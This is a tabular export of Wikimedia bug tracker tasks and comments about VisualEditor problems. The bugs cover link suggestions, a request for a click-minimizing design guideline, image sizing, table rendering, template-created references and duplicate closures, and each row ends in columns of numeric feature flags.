+240254,VisualEditor or Parsoid: inserted HTML code instead of Wikilink,I'm pretty sure this was a horrible artefact of a nasty bug we fixed back in September; provisionally marking as WORKSFORME. Sorry for the ludicrously-slow triage.,,,1401418799,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4xuz3vb5yze6xii6usyj,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+54520,VisualEditor: Create a design guideline to minimize clicks and key presses,"visual editor easily doubles mouse clicks and key presses. this can be seen, amongst others, on section editing, saving, adding a reference. to avoid bug reports in the line of ""please remove one mouse click while creating a reference"" create a (visual) design guideline mandatory to follow for all developers to minimize mouse clicks and key presses, and maximise screen estate available for editing/viewing the article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1375607280,1376561195.0,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-kvdgcfvnalphobirayqv,task_description,declined,True,c1,3,False,False,True,4,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+238920,VisualEditor: Create a design guideline to minimize clicks and key presses,"Again: This won't be handled in Bugzilla, however pointing to a better place where to discuss would be very good.  Playing the ""I know it's the wrong place but still I want to discuss it here"" card isn't much better either though. :)
+
+Please don't reopen as a sign of disagreement. Thanks.",,,1376561195,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,6,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+238914,VisualEditor: Create a design guideline to minimize clicks and key presses,"james, let me reopen this one please. there is a big difference between ""it is our intention"" (whoever ""our"" is) and a crystal clear guideline having as primary target:
+* minimize clicks and key presses
+* response time <3 sec
+this would make it so much easier for new developers as well. and so much easier for testers to point out that something is against the goal. 
+
+as i tried to point out above with examples, people were and still are allowed to increase key presses and mouse-clicks considerable compared to the existing solution. i tried to look for design documents or mail references on some tech list to find a justification for this, but could not find one. 
+
+you as a software developer surely know that nothing is more expensive than fixing a design bug. and nothing is more expensive than finding a bug late. just to take an arbitrary url to support this: http://blog.bootstraptoday.com/2011/12/25/early-detection-of-bugs-can-save-up-to-22-billion-yearly/ 
+
+so, please do not play the ""a good thing but not the right place"" card. which then ends up nowhere. you can close the ticket if you either create this guideline, or successfully have a (public verifyable) decision in whatever place you consider right for a decision like this.",,,1376539525,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,False,,,6,,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+238909,VisualEditor: Create a design guideline to minimize clicks and key presses,"Of course, this is already our intention. There is nothing to ""create"".
+
+Bugzilla is not really the right place to suggest user experience improvements like this - though walk-through data like you've given is hugely valuable, and if you have more I would love for you to share it.",,,1376521216,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+238903,VisualEditor: Create a design guideline to minimize clicks and key presses,"for bug48429, section editing, i tried VE at https://en.wikipedia.org/wiki/Jos%C3%A9_Mourinho. to repeat the clicks and key presses here:
+* 1 click and 15 secs to edit
+* 1 click to make go a away a note (see attachment)
+* 1 click to edit summary
+* 1 click and 20 secs to review changes
+* 1 click to return to save form
+* 1 click and 40 secs to save
+* 5* pg down to go to the section just edited
+
+while text editor sections can be edited with:
+* 1 click and 2 secs to open
+* 1 click and 2 secs to preview
+* 1 pg-down to find the save button (could be avoided by re-placing the button)
+* 1 click and 10 secs to save
+
+old is ideally 3 clicks, new is 6 clicks + 5 key presses.
+
+but, there are other cases as well. to add a category with hotcat is one click and a key press to confirm. It auto-corrects even the spelling to upper case. VE takes 8 clicks, a refresh, and scrolling down, if i counted correctly.",,,1375774987,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+238896,VisualEditor: Create a design guideline to minimize clicks and key presses,"Which exact problem do you see with the current situation, that made you file this bug report?",,,1375620096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+54491,De.WP experiences wired edit labels on conversation pages,"Currently, De.WP talk, user talk, Wikipedia, Wikipedia talk..pages show for the last section not [Edit source] as En/Es/xy.WP do but [Add section / Edit source code / Add section] (Abschnitt hinzufügen Quelltext bearbeiten Abschnitt hinzfügen). It neither breaks anything technically as far as I can tell right now nor does it mix in VE interface but, where ever it might come from, it should be fixed asap
+
+http://de.wikipedia.org/w/index.php?title=Diskussion:Immanuel_Kant&oldid=120880638
+
+http://de.wikipedia.org/w/index.php?title=Benutzer_Diskussion:JEissfeldt_(WMF)&oldid=120853192#VisualEditor_.2A_Projektseiten
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Needs Triage,90.0,1375491060,1375492148.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-33n5y7ewqlbefwxwacox,task_description,invalid,True,c1,3,False,False,True,4,,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+237034,De.WP experiences wired edit labels on conversation pages,"This is an issue with a script at [[de:MediaWiki:Common.js]].
+
+In the section ""erzeuge einen ""Neuen Abschnitt""-Link an der letzten Überschrift"", replace ""$( 'span.mw-editsection:last a' )"" with ""$( 'span.mw-editsection:last a:last' )"". That should be enough to fix it.",,,1375492148,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33n5y7ewqlbefwxwacox,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+54489,Blacklist category for excluding pages from VisualEditor,"It would be helpful to be able to selectively disable VisualEditor (we should to indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion). This would enable users to shield pages where VisualEditor/Parsoid cause roundtrip issues.
+
+A hidden blacklist category could be included in a page or template to achieve the desired effect, and could be used by developers to prioritize roundtripping issues.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375487760,1375488138.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-qpvwyqg5nibzkozzdov5,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+236937,Blacklist category for excluding pages from VisualEditor,"
+
+*** This bug has been marked as a duplicate of bug 52141 ***",,,1375488138,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qpvwyqg5nibzkozzdov5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54487,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"If one opens the VE editing interface, the user experience in relation to image formats varies significantly. The report: 
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121153156#Bilder_werden_im_VE_kleiner_angezeigt
+
+has several examples with different browsers like 
+
+FF 22 / Win 7: edgewise images smaller; rest bigger.
+Chrome 28 / Win 7: all significantly smaller.
+
+See also screenshots in perma link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375487460,1380666480.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+236825,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"Merging with bug 47804.
+
+*** This bug has been marked as a duplicate of bug 47804 ***",,,1380666480,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+236818,VisualEditor: Image thumbnails that don't specify size should render at the wiki-default size,"When viewing a page, images that are specified as [[File:Foo.jpg|thumb|Caption]] render as 220px wide (en.wp)/180px wide (de.wp), regardless of dimensions or aspect ratio.
+
+In visual editor, images specified the same way render so as not to exceed 190px wide by 212px high. 
+
+This means that images can appear at very different sizes in the VE editing surface to how they appear on the rendered page. This is especially true for very tall images.
+
+Example to better illustrate this, compare the two views of this page
+View mode: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575350620 
+VE edit mode: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575350620&veaction=edit",,,1380666087,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-7bui5nacoyzpq7m5e4vx,task_subcomment,,True,c1,3,False,,,13,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+54485,VisualEditor: uneditable table lines displayed wrong,"The displayed table (Firefox 22/Ubuntu)
+
+See [[fr:Special:redirect/revision/95505705#Pr.C3.A9sidents_de_l.27universit.C3.A9]]
+
+The lines of the table using {{ligne grise}} are uneditable because of {{ligne grise}} (which just adds bgcolor=""#F2F2F2""…). But they are displayed wrong (see attachment) because the <tr> is wrapped in a <span>. Not really WYSIWYG…
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11257}",Needs Triage,90.0,1375486440,1385374740.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-ocna2wajo3o5voxuppid,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+236722,VisualEditor: uneditable table lines displayed wrong,"Yes, merging with bug 50607.
+
+*** This bug has been marked as a duplicate of bug 50607 ***",,,1385374740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocna2wajo3o5voxuppid,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+236716,VisualEditor: uneditable table lines displayed wrong,I think this might be a duplicate of bug 50607,,,1378374678,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ocna2wajo3o5voxuppid,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+54478,References created by Singlechart cannot be accessed properly,"**Author:** `kwwilliams`
+
+**Description:**
+http://en.wikipedia.org/wiki/User:Kww/singlechartreftest is a simple test case for accessing references created by the singlechart template.
+
+Singlechart directly creates references when called, using #ref (it cannot use <ref></ref> tags because of issues involving the parsing sequence of templates and references). It will either create them with a default name that it generates algorithmically, or it will use the value of the ""refname"" parameter.
+
+When editing http://en.wikipedia.org/wiki/User:Kww/singlechartreftest, if the editor attempts to insert reference and chooses the option to ""use an existing reference"", three of the existing named references (sc_BillboardHot100_The Hollies, sc_Norwegian_The Hollies, and sc_Dutch100_The Hollies) aren't displayed at all. These are references that are available for the editor to use, but have not been currently reused in the article text. An examination of http://parsoid.wmflabs.org/en/User:Kww/singlechartreftest shows that Parsoid did pick up these names so VE should be able to display them.
+
+sc_UK_Hollies is displayed, but no text is associated with it. Similarly with germancharts. Attempting to include these references works. Both of these references should have the full reference text displayed, although the editor should not be permitted to alter it.
+
+{{Certification Table Entry}} and {{albumchart}} should have identical problems.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375473900,1377819444.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+236424,References created by Singlechart cannot be accessed properly,"Is {{#tag:ref}} something that is part of MediaWiki or something user-generated? If it's part of MediaWiki, presumably its creation and deployment is an indication that it's meant to work.",,,1377862353,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+236417,References created by Singlechart cannot be accessed properly,"**kwwilliams** wrote:
+
+That response is beyond the pale. Please retract it, and concentrate on building an editor that functions within the environment that exists, not the environment that you wish existed.",,,1377820107,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+236409,References created by Singlechart cannot be accessed properly,"This is a duplicate of bug 50474 - in general, any reference created by a template shouldn't work, deliberately. Hacks using {{#tag:ref}} which was never meant to work are a nightmare for users and VisualEditor alike.
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1377819444,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+54467,"VisualEditor: if the title page starts with a dot, VE won't load","http://en.wikipedia.org/wiki/.tl for instance,
+if you click on the Edit tab, nothing will happen.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375462920,1375464734.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-wedvkdl2s27csm5sxz7t,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+235784,"VisualEditor: if the title page starts with a dot, VE won't load","
+
+*** This bug has been marked as a duplicate of bug 51308 ***",,,1375464734,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-wedvkdl2s27csm5sxz7t,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235781,"VisualEditor: if the title page starts with a dot, VE won't load","(I believe I just duplicated https://bugzilla.wikimedia.org/show_bug.cgi?id=51308, sorry about that).",,,1375463353,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-wedvkdl2s27csm5sxz7t,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+54433,VisualEditor: Toolbar not returning under the tabs,"Toolbar mixed with #p-personal
+
+See the image. And I got the opposite, the toolbar staying at top of the article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52504
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52326
+
+**Attached**: {F11123}",Needs Triage,90.0,1375403700,1375991502.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-klrivpj5pu4qmrhtcgbi,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+233850,VisualEditor: Toolbar not returning under the tabs,"This is a duplicate of Bug 52441 which is fixed but not yet deployed
+
+*** This bug has been marked as a duplicate of bug 52441 ***",,,1375991502,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-klrivpj5pu4qmrhtcgbi,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+54431,VisualEditor: {{clr}} prevents user from editing content,"1. Got to [[fr:Disjonction logique]]
+2. Edit it with VisualEditor
+3. Try to modify the table. You will get a big blue rectangle allowing to edit {{clr}}, but you can’t edit directly (clicking on headings and using ↓ works) the <td>.
+
+Of course, there is no reason why this article uses float & {{clr}}, but I know some similar cases where it is useful to have floating tables + {{clr}}.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375401360,1395360523.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-dpkxtqdack6wacscxvhg,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+233774,VisualEditor: {{clr}} prevents user from editing content,"
+
+*** This bug has been marked as a duplicate of bug 50551 ***",,,1395360523,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpkxtqdack6wacscxvhg,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233769,VisualEditor: {{clr}} prevents user from editing content,"This is related to bug 51933 - an excessively large transclusion box prevents accessing an item it overlaps. It's not identical though as that bug relates to other templates and this to tables, so I'll leave the decision whether to merge up to someone more knowledgeable.",,,1378423467,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dpkxtqdack6wacscxvhg,task_subcomment,,True,c1,3,False,,,9,,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+54421,"VisualEditor: Link suggestions sometimes too foreceful, can't select the target you want.","Sometimes when entering a link in the link input widget the first suggested target is automatically inserted, even before you finish typing, making it very difficult to choose a different target.
+
+Steps to reproduce:
+1.Load a page in VE
+2.Press ctrl+k to enter a link
+3.Try to enter a link to [[Portable Document Format]], [[Classic (album)]] or [[Thing (assembly)]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Needs Triage,90.0,1375391460,1375391536.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gbm6kyiyozz73ztd6xzq,task_description,resolved,True,c1,3,False,False,True,4,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+233233,"VisualEditor: Link suggestions sometimes too foreceful, can't select the target you want.","Elitre was 25 seconds faster than you ;)
+
+*** This bug has been marked as a duplicate of bug 52420 ***",,,1375391536,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gbm6kyiyozz73ztd6xzq,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+54410,VisualEditor: Undoing a larger cut restores selection incorrectly,"- Chrome 30 (canary)
+- https://en.wikipedia.org/w/index.php?title=Narayana_Gosain_Temple&oldid=565414421&veaction=edit
+
+
+When selecting the following:
+
+> <selected>
+> h2.Transport
+> p.It is situated within 20km from NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.
+> h2.References
+> references.
+> \n
+> </selected>
+> \n
+> h2.External links
+
+.. and cutting it, and then ctrl-Z. It restores both content and selection properly 
+
+
+
+When selecting the following:
+
+> 
+> h2.Transport
+> p.It is situated within 20km from <selected>NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.
+> h2.References
+> references.
+> \n
+> \n
+> h2.External</selected> links
+
+.. and cutting it and then ctrl-Z. It restores the content properly, but the selection is restored only within the first paragraph:
+
+> 
+> h2.Transport
+> p.It is situated within 20km from <selected>NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.</selected>
+> h2.References
+> references.
+> \n
+> \n
+> h2.External links
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375381560,1385398843.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-idjdigelfjcuvhcx24zy,task_description,resolved,True,c1,3,True,False,False,4,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
